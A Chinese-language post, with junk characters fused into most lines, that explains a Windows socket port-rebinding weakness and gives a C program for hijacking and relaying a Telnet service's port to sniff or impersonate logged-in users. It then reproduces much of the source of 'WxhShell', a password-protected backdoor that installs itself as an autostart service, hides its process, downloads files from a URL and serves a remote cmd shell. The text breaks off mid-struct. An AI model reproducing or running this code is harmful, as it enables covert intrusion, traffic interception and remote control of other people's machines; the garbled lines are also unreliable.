在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
GL&y@6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FOb0uj=(v c7 ?_46J saddr.sin_family = AF_INET;
-Mip,EO P=qa::A saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#OZ>V3k CZ8KEBl bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\TIT:1 ]{!U@b 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
eFipIn)b '|ad_M 这意味着什么?意味着可以进行如下的攻击:
y~(h>gi,x ?llXd4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i|c'Lbre` y+Ra4G#/} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Yy5h"r }~2LW" 1' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\1d( 9jR ~W*FCG#E 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
E~,F Q[Z8ok 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}I2wjO $Y;U[_l# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
v/@^Q1G/: ?yZ+D z\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
j 7fL7:,T zofa-7'Bn #include
toLV4BtIG #include
#||}R[~P" #include
`CBZhI%% #include
"/yC@VC> DWORD WINAPI ClientThread(LPVOID lpParam);
16w|O|^< int main()
j~"Q3P;V {
`-.%^eIp WORD wVersionRequested;
@>u}eB>Kn DWORD ret;
,NOsFO-`< WSADATA wsaData;
~Io7] BOOL val;
j_/>A=OD SOCKADDR_IN saddr;
Yf:IKY SOCKADDR_IN scaddr;
5c9^-|-T int err;
^"2i SOCKET s;
7jxslI&F SOCKET sc;
?:pP8/y int caddsize;
)}g(b= HANDLE mt;
*RDn0d[ DWORD tid;
2SD`OABf# wVersionRequested = MAKEWORD( 2, 2 );
+j#+8Ze err = WSAStartup( wVersionRequested, &wsaData );
c7<wZ if ( err != 0 ) {
u$h
4lIl printf("error!WSAStartup failed!\n");
QaS1Dh return -1;
8k2?}/+ }
F7
5#* saddr.sin_family = AF_INET;
67VL@ ] # Nk;4:[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8H;t_B .@2m07*1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-]L6= saddr.sin_port = htons(23);
v;BV@E0}x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0[A[U_b {
;"KJ7p printf("error!socket failed!\n");
mkMq return -1;
@u.58H& }R }
Bu#E9hJFvA val = TRUE;
U GD2
//SO_REUSEADDR选项就是可以实现端口重绑定的
%u? ># if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3e
#p@sB {
+:8fC$vVfC printf("error!setsockopt failed!\n");
E08klC0 return -1;
"K ~ }
[V^WGW2oY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|"?M 1*g //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J\/cCW-rF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
H]P.
x!I J
cPtwa;q@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ydFD!mO {
VAWF3 ret=GetLastError();
dOa+(fMe printf("error!bind failed!\n");
yGI;ye'U return -1;
#~#R- }
~F7-HaQJ listen(s,2);
-jW.TT h] while(1)
7[w,:9& } {
2n3W=dF caddsize = sizeof(scaddr);
0f~C#/[t7 //接受连接请求
,C
K{F sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Ed"h16j?z if(sc!=INVALID_SOCKET)
e63uLWDT {
5"^en# ?9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:imW\@u if(mt==NULL)
?Q sQnQ {
*Y,x|F printf("Thread Creat Failed!\n");
U(a#@K!H break;
9Kpa>< }
M2d$4-< }
yQU_>_!n CloseHandle(mt);
/rMI"khB }
t'?.8}?)I& closesocket(s);
5)FJ:1- WSACleanup();
i;]"n;>+/ return 0;
{,3>" }
3XL#0\im?s DWORD WINAPI ClientThread(LPVOID lpParam)
Qr1 "Tk7s {
mIurA?&7! SOCKET ss = (SOCKET)lpParam;
^]7}YF2| SOCKET sc;
AZ0;3<FfLp unsigned char buf[4096];
H+1-] 'g` SOCKADDR_IN saddr;
,X#2\r<| long num;
9`wZz~hL" DWORD val;
4y)P>c DWORD ret;
| 1E|hh@k //如果是隐藏端口应用的话,可以在此处加一些判断
|s'Po^Sy //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%4ePc- saddr.sin_family = AF_INET;
gMY1ts}Z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Lilr0|U+ saddr.sin_port = htons(23);
3wOZ4<B
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?6yjy<D)$e {
z,Medw6[ printf("error!socket failed!\n");
@GkILFN return -1;
u&`XB|~ }
>CrA;\l val = 100;
tro7Di2Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?h.wK {
TX$r`~ ret = GetLastError();
Gnf~u[T6 return -1;
O?)3VT* }
*194{ ep if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jNTjSX {
/~}}"zx& ret = GetLastError();
`Zf^E
>) return -1;
~$ng^D }
*;1,5L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
oz AS[B6 {
'{E@*T/<. printf("error!socket connect failed!\n");
8WtsKOno closesocket(sc);
X<i^qoV closesocket(ss);
7{e% u# return -1;
6`O.!|) }
hakKs.U|[ while(1)
vu|n< {
^c<ucv6. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
wLmhy, //如果是嗅探内容的话,可以再此处进行内容分析和记录
" 7!;KHc //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
5Y.vJz num = recv(ss,buf,4096,0);
V@Rrn <l if(num>0)
E^QlJ8 send(sc,buf,num,0);
#OIcLEn% else if(num==0)
aEM %R<e break;
?kWC}k{ num = recv(sc,buf,4096,0);
|?rNy=P, if(num>0)
21
O'M send(ss,buf,num,0);
.P;*D ws else if(num==0)
KB%"bqB| break;
r
YogW! }
&0='r;*i closesocket(ss);
3|WWo1 closesocket(sc);
`dFq:8v return 0 ;
E5)b }
[pl'| B PK;*u,V [<- ==========================================================
7l'6gg <0H"|:W>I] 下边附上一个代码,,WXhSHELL
]DOX?qI
i mX\TD0$d ==========================================================
n1~o1 xgpi-l #include "stdafx.h"
9^,Lc1"M> x97
j #include <stdio.h>
x$IX5:E#e #include <string.h>
bLe<G #include <windows.h>
,8:(OB|a #include <winsock2.h>
_z'u pb& #include <winsvc.h>
i
7_ _ #include <urlmon.h>
/e7O$L)
^.#jF#u~ #pragma comment (lib, "Ws2_32.lib")
J/\V%~
1F #pragma comment (lib, "urlmon.lib")
JQ,1D`?.a nN*w~f" #define MAX_USER 100 // 最大客户端连接数
{k>Ca #define BUF_SOCK 200 // sock buffer
PE~G=1x3 #define KEY_BUFF 255 // 输入 buffer
>H'4{| {7 $c8i #define REBOOT 0 // 重启
WKT4D}{1 #define SHUTDOWN 1 // 关机
`wus\&!W 3D`YZ#M #define DEF_PORT 5000 // 监听端口
[21=5S 3|1ilP #define REG_LEN 16 // 注册表键长度
w9NHk~LHKF #define SVC_LEN 80 // NT服务名长度
ux_Mrh' ?**+e%$$ // 从dll定义API
eln&]d; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
7]9
a< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]<H&+ &! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
IqC]! H0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}D7I3]2> b+@JY2dvj // wxhshell配置信息
0|$v-`P$ struct WSCFG {
CPP`
qt%f int ws_port; // 监听端口
nyBJb(5"B char ws_passstr[REG_LEN]; // 口令
c/zJv*}x? int ws_autoins; // 安装标记, 1=yes 0=no
WpF2)R}G= char ws_regname[REG_LEN]; // 注册表键名
pcYG~pZ9 char ws_svcname[REG_LEN]; // 服务名
IkBei&4F` char ws_svcdisp[SVC_LEN]; // 服务显示名
!'mq ?C= char ws_svcdesc[SVC_LEN]; // 服务描述信息
_acE:H char ws_passmsg[SVC_LEN]; // 密码输入提示信息
I
6<*X int ws_downexe; // 下载执行标记, 1=yes 0=no
Bm"KOr$}- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
T(e!_VY|m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
I 4,K43| 2C/$Ei^t };
/h*>P:i]. P^w#S // default Wxhshell configuration
v1%uxthW struct WSCFG wscfg={DEF_PORT,
kB'Fkqwm "xuhuanlingzhe",
sYjpU 1,
:@ %4 "Wxhshell",
TYJ:! "Wxhshell",
3~}uqaGt "WxhShell Service",
T{Sb^-H#X "Wrsky Windows CmdShell Service",
/RHo1 "Please Input Your Password: ",
gA:5M 1,
ZHGC6a!a "
http://www.wrsky.com/wxhshell.exe",
)=AHf?hn "Wxhshell.exe"
o3I Tr'; };
fRtUvC-#H O)ME"@r@: // 消息定义模块
`t_W2y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,!dh2xNH^ char *msg_ws_prompt="\n\r? for help\n\r#>";
j:E<p_T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
KnsT\>[K char *msg_ws_ext="\n\rExit.";
J(c{y]` J char *msg_ws_end="\n\rQuit.";
YN`H
BFH char *msg_ws_boot="\n\rReboot...";
~v]!+`_J char *msg_ws_poff="\n\rShutdown...";
cfcim.jB char *msg_ws_down="\n\rSave to ";
7N:Y?Hi\ po$ /7 char *msg_ws_err="\n\rErr!";
"\}@gV#r$A char *msg_ws_ok="\n\rOK!";
xER\ZpA:, rb1`UG"h$ char ExeFile[MAX_PATH];
*d"DA[( int nUser = 0;
e pU: HANDLE handles[MAX_USER];
\
C+(~9@| int OsIsNt;
#a`a$A 0KGY\,ae:; SERVICE_STATUS serviceStatus;
`e(vH`VZ SERVICE_STATUS_HANDLE hServiceStatusHandle;
Xlb0/T<g! .Fnwm} // 函数声明
1jc,
Y.mP int Install(void);
yqi^>Ce0 int Uninstall(void);
"FTfk int DownloadFile(char *sURL, SOCKET wsh);
R}lsnX< int Boot(int flag);
[P 06lIO void HideProc(void);
Z\HX~*,6 int GetOsVer(void);
`FsH}UPu
b int Wxhshell(SOCKET wsl);
z)9wXo#~ void TalkWithClient(void *cs);
0&/b42W int CmdShell(SOCKET sock);
;PjQt=4K int StartFromService(void);
l2l(_$@3 int StartWxhshell(LPSTR lpCmdLine);
q|8{@EMT tQH+)* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%*&UJpbA VOID WINAPI NTServiceHandler( DWORD fdwControl );
2Z3('?\z~ U2`'qsR1 // 数据结构和表定义
iVG-_RsKK SERVICE_TABLE_ENTRY DispatchTable[] =
^my].Qpt {
P#fM:z@[ {wscfg.ws_svcname, NTServiceMain},
qUxRM_7U {NULL, NULL}
|fSe>uVZ };
<o+<H ~ug=
{b // 自我安装
Nkp)Ax& int Install(void)
6S+U&Ce\ {
]p;FZ4-T char svExeFile[MAX_PATH];
tkXEHsRT HKEY key;
>lBD<;T strcpy(svExeFile,ExeFile);
(HSgEs1d #{=;NuP // 如果是win9x系统,修改注册表设为自启动
x-?{E if(!OsIsNt) {
:PtF+{N> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nzmDA6d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jcI&w#re RegCloseKey(key);
:dLAs@z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cIp
D~0\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wlEdt1G RegCloseKey(key);
* 1Od-3 return 0;
uPRQU+ }
7}vg.hmZ }
@DZB9DDR }
L3n_ 5| else {
*&d<yJM`b u-tQ9ioKC // 如果是NT以上系统,安装为系统服务
L~ IhsiB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
h+a S4Q& if (schSCManager!=0)
}J7zTj~{ {
<x&%~6j SC_HANDLE schService = CreateService
Tp0bS (
5cEcTJL[C schSCManager,
VMCLHpSfW wscfg.ws_svcname,
({NAMc* wscfg.ws_svcdisp,
kiRa+w: SERVICE_ALL_ACCESS,
CYKr\DA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
jiYmb8Q4D SERVICE_AUTO_START,
ZKXo-~=> SERVICE_ERROR_NORMAL,
8
O 67 svExeFile,
vmLxkjUm# NULL,
H6&J;yT} NULL,
5ux`U{`m NULL,
z8[yt282 NULL,
2KQoy; NULL
1?| flK );
0
s70r if (schService!=0)
2hee./F` {
^qC;Nh4F CloseServiceHandle(schService);
Ton94:9bZ CloseServiceHandle(schSCManager);
3;8!rNN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
XEdzpkB strcat(svExeFile,wscfg.ws_svcname);
#rY sj-2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
U-:ieao@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)x]3Zq RegCloseKey(key);
4T?h return 0;
sYdRh?Hq }
3LfC{ER }
in(U:04 CloseServiceHandle(schSCManager);
zLF?P3^ }
KL ?@@7 }
:Dd$i_3= bcAvM; return 1;
\'M3|w`f }
~u.T- 0F 11,!XD*" // 自我卸载
efD)S92 int Uninstall(void)
Nx-uQ^e*1 {
5l,ZoB8 HKEY key;
sF7^qrVQP9 CT\;xt,S if(!OsIsNt) {
UK{irU|\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z(ZiFPx2Z RegDeleteValue(key,wscfg.ws_regname);
&<+ A((/i RegCloseKey(key);
3mSXWl^? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&EM\CjKv" RegDeleteValue(key,wscfg.ws_regname);
$-&BB(-{E& RegCloseKey(key);
#_B-4sm return 0;
[y0O{,lI }
HBY.DCN[Z }
sO5?aB& }
J-ePE7i else {
o=RM-tR`v q|%(3,)ig SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'oN\hy($,h if (schSCManager!=0)
2>\v*adG {
>j{z> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6&!&\ if (schService!=0)
&*s0\
8 {
4Td{;Y="yF if(DeleteService(schService)!=0) {
:aG#~-Q CloseServiceHandle(schService);
3&x-}y~sg CloseServiceHandle(schSCManager);
af|5n><~A return 0;
]7Fs$y. }
suH&jE$ x CloseServiceHandle(schService);
Nk[2nyeO> }
:d8W+|1u CloseServiceHandle(schSCManager);
cv(PP-'\ }
{,cCEXag% }
k/03ZxC- jt@SZI` return 1;
#eN{!Niy&U }
)9S>ZZF }@+NN
?P // 从指定url下载文件
z`6fotL int DownloadFile(char *sURL, SOCKET wsh)
L.T?}o {
Q`#4W3-, HRESULT hr;
2Sq_Tw3^ char seps[]= "/";
jY6MjZI char *token;
n9;;x%6 .I char *file;
9=,uq; char myURL[MAX_PATH];
&vovA} F char myFILE[MAX_PATH];
[DHoGy,P p7ir*r/2 strcpy(myURL,sURL);
?+c`]gO7N token=strtok(myURL,seps);
~O 3D[PNW~ while(token!=NULL)
xvNo(> {
f/kI|Z file=token;
\*\R1_+ token=strtok(NULL,seps);
Gd+ET }
9]'($:LF08 >\ u<&>i GetCurrentDirectory(MAX_PATH,myFILE);
}YOL"<,:o strcat(myFILE, "\\");
~Z ~v strcat(myFILE, file);
1 ^g
t1o send(wsh,myFILE,strlen(myFILE),0);
4Iq'/r send(wsh,"...",3,0);
J4=_w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0Y]0!} if(hr==S_OK)
+uWYK9 return 0;
|xoF49 else
WS2osBc return 1;
O g%U 3K@@D B6 }
!'=15&5@ 8wH.et25k // 系统电源模块
/Jf~25F int Boot(int flag)
i{^Z1;Yl {
-xg2q
V\c HANDLE hToken;
/$"[k2 N TOKEN_PRIVILEGES tkp;
]v G{kAnH GO! uwo: if(OsIsNt) {
S<nq8Ebmw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
T88Y
qI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$[@0^IJq=K tkp.PrivilegeCount = 1;
xKOq[d/8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-V %gVI[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
v=I|O% if(flag==REBOOT) {
]+DI.% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ExHAY|UA return 0;
G+*cpn }
9^F2$+T[: else {
~9Cz6yF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hbOnlj4 return 0;
(/" & }
$mA5@O~C5\ }
n,M)oo1G else {
f!t69nd%L if(flag==REBOOT) {
_L.n, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
UFn8kBk return 0;
ps:f=6m2 }
pL1s@KR else {
o=fgin/E\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
oh#N
0
0X return 0;
^ons:$0h }
fn{S
"33" }
;SKh 7q9gngT1LA return 1;
-dTLunv }
mjnUs-`W| Y\/gU8w/ // win9x进程隐藏模块
y@ek=fT%4 void HideProc(void)
CidM( {
iy5R5L2 U Lmg$T& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
NSLVD[yT if ( hKernel != NULL )
GSVdb/+ {
{M~lbU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
h!]"R<QQdu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;\)=f6N FreeLibrary(hKernel);
%EbiMo ]3B }
F#q&( T.?k>Ak return;
h#f&|*Q5m }
/-*hjX$n Q2'eQ0W{o // 获取操作系统版本
M[Y4_$k<- int GetOsVer(void)
99ASIC! {
<DiOWi OSVERSIONINFO winfo;
'wQy]zm$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
c]m! G'L_/ GetVersionEx(&winfo);
u35q,u=I if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/(6zsq'v| return 1;
hH4o;0rqJ else
V2`;4d X*2 return 0;
/mbCP>bcG }
%O) Z pzEABA // 客户端句柄模块
el@XK}<dr int Wxhshell(SOCKET wsl)
L{PH0Jf {
8 lS($@@{ SOCKET wsh;
5RhF+p4 struct sockaddr_in client;
(Pz8iz DWORD myID;
9/;{>RL= 0$Ff#8 while(nUser<MAX_USER)
%h* 5xB]Tt {
fPE ?hG<x int nSize=sizeof(client);
mU]s7` %<> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
m`9^.>]P if(wsh==INVALID_SOCKET) return 1;
eY3=|RR b>=7B6 Aw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
m3?e]nL4W if(handles[nUser]==0)
hAa[[%wPhU closesocket(wsh);
(v;A'BjN else
6lU|mJ`M nUser++;
FE6C6dW{ }
5'9.np F) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
i<:p.ug-O u9}!Gq return 0;
\dNhzd# }
"t+r+ipf]) cdp{W // 关闭 socket
w b+<a void CloseIt(SOCKET wsh)
W?PWJkIw {
hT=f;6$ closesocket(wsh);
BGpk&.J nUser--;
uHrb:X!q ExitThread(0);
@U7Dunu*f }
+E#PJ_H=F8 Vj7Hgc-, // 客户端请求句柄
nt`<y0ta void TalkWithClient(void *cs)
|8;?
*s`H {
i@{*O@m lVT&+r~r SOCKET wsh=(SOCKET)cs;
T{;=#rG< char pwd[SVC_LEN];
=+(Q.LmhC char cmd[KEY_BUFF];
l'2H4W_+ char chr[1];
y*|L:! int i,j;
x~(y "^ph '_E c_F while (nUser < MAX_USER) {
^6&_|f UC#"=Xd4 if(wscfg.ws_passstr) {
<[5#c*A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f-]><z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
G|V\^.f< //ZeroMemory(pwd,KEY_BUFF);
(olLB i=0;
TPqvp|~2 while(i<SVC_LEN) {
aZxO/b^j r$?Vx_f`Q // 设置超时
KT%{G8Y@M fd_set FdRead;
QB9A-U<J struct timeval TimeOut;
N.n1< FD_ZERO(&FdRead);
H\f/n`@,G FD_SET(wsh,&FdRead);
,N;v~D$Y TimeOut.tv_sec=8;
h;}ODK(. TimeOut.tv_usec=0;
@|]G0&gn&? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l }+Cdy9> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
5])8qb/F *sAOpf@M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ytob/tc pwd
=chr[0]; \086O9
if(chr[0]==0xd || chr[0]==0xa) {
"$Y(NFb
pwd=0;
BUV/twU)
break; \@:j
} y\z*p&I
i++; ( w5f(4
} t@r#b67WJe
;6zPiaDQ
// 如果是非法用户,关闭 socket +|M{I= 8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8LeKwb
} y*
rY~U#3
TL]bY'%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `_0)kdu
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YjL
t&D:IZ
W`5a:"Vg
while(1) { oB3q AP
m"q/,}DR
ZeroMemory(cmd,KEY_BUFF); }eI`Qg
2\,e
// 自动支持客户端 telnet标准 " C&x,Ic
j=0; IF^[^^v+H
while(j<KEY_BUFF) { dGa@<hg
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %/X2 l
cmd[j]=chr[0]; }oV3EIH
if(chr[0]==0xa || chr[0]==0xd) { M-vC>u3Y
cmd[j]=0; wyNC|P;j$g
break; =}"R5
} H[Cj7{V
j++; 3 ^pYCK%
} :K:f^o]s
s v6INe:
// 下载文件 .dt#2a_5q
if(strstr(cmd,"http://")) { d~3GV(M
send(wsh,msg_ws_down,strlen(msg_ws_down),0); XS3{R
if(DownloadFile(cmd,wsh)) 3m3
EXz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MHGj vSx
else 2S'AIuIew
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~U/8 @gR
} va@Xb UC
else { ?${V{=)*X'
TdNsyr}JG
switch(cmd[0]) { x{~_/;\p3
e{:86C!d)
// 帮助 '}@e5^oL
case '?': { &Q<EfB
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rnz8 f}
break; $m{{,&}k
} OX`?<@6
// 安装 X1O65DMr`g
case 'i': { wXP_]-
if(Install()) /#@LRN<oCq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o}d2N/T
else PVZEB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QXsfp
break; +BU0 6lLD
} B*32D8t`u
// 卸载 Ia=&.,xub
case 'r': { RFhU#
if(Uninstall()) gYRqqV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MPqY?KF
else m9%yR"g9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sw[<VsxjR
break;
4$..r4@
} w4NZt|>5j;
// 显示 wxhshell 所在路径 |&9tU
case 'p': { l.sm~/
char svExeFile[MAX_PATH]; -6(h@F%E
strcpy(svExeFile,"\n\r"); 5sG ]3z+1
strcat(svExeFile,ExeFile); ]aREQ?ma&z
send(wsh,svExeFile,strlen(svExeFile),0); *X%?3"WH8
break; sV]i/B
} D`1I;Tb#
// 重启 Ml'bZLwq
case 'b': { loml.e=87
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [SKP|`I>I
if(Boot(REBOOT)) $_ST:h&C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); " vv$%^
else { '\Qf,%%.
closesocket(wsh); 3S;>ki4(0
ExitThread(0); E=$7ieW
} 8[vl3C
break; I:r($m
} 9NJ=~Ub-
// 关机 ?aP1
case 'd': {
Iz 1*4@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sr4dY`V*:z
if(Boot(SHUTDOWN)) Uyz;U34 oI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R~U2/6V
else { ]|H]9mys98
closesocket(wsh); &z7N\n
ExitThread(0); Wh#os,U$
} ,| $|kO/
break; 40`9t Xn
} Pc/.*kOT
// 获取shell cP/F|uG5
case 's': { MBnK&GS
CmdShell(wsh); pE9aT5
L
closesocket(wsh); Lr!L}y9T+
ExitThread(0); s?4%<jz
break; de3yP,
} J R8 Z6
// 退出 s@*,r@<
case 'x': { %#[r_QQ^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;mCGh~?G
CloseIt(wsh); +OV%B .
break; l:>qR/|m
} |;xfe"]
// 离开 (:tTx>V#
case 'q': { ~ex~(AWh
send(wsh,msg_ws_end,strlen(msg_ws_end),0); S-H-tFy\\
closesocket(wsh); S
jC)6mo
WSACleanup(); yHa:?u6
exit(1); 7J#g1
break; eH"qI2A
} 5$(b3]
} 'fp<FeTg
} p,_6jdz
T%N~oa
// 提示信息 \@iOnRuHn9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [|c@Yw
} -f-O2G=
} t-?KKU8
uIVTs9\
return; *!wO:<-
} .3S\Rrv
'#pMEVP
// shell模块句柄 -(%ar%~Zd
int CmdShell(SOCKET sock) p@!@^1j=
{ X#f+m) S
STARTUPINFO si; LOyCx/n
ZeroMemory(&si,sizeof(si)); r1^m#!=B
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5bGjO&$l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J?|K#<%
PROCESS_INFORMATION ProcessInfo; yhJA;&}>
char cmdline[]="cmd"; *Bb|N--jI
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dA_V:HP
return 0; YU ]G5\UU
} UIm[DYMS
(}/.4xE
// 自身启动模式 R-2FNl
int StartFromService(void) ,YAPCj
{ hPEp0("
typedef struct <IHFD^3|j
{ i+qLc6|S=2
DWORD ExitStatus; GDNh?R
DWORD PebBaseAddress; R9|2&pfm(M
DWORD AffinityMask; 3_R
DWORD BasePriority; 3<~2"@J
ULONG UniqueProcessId; QTrlQH&p
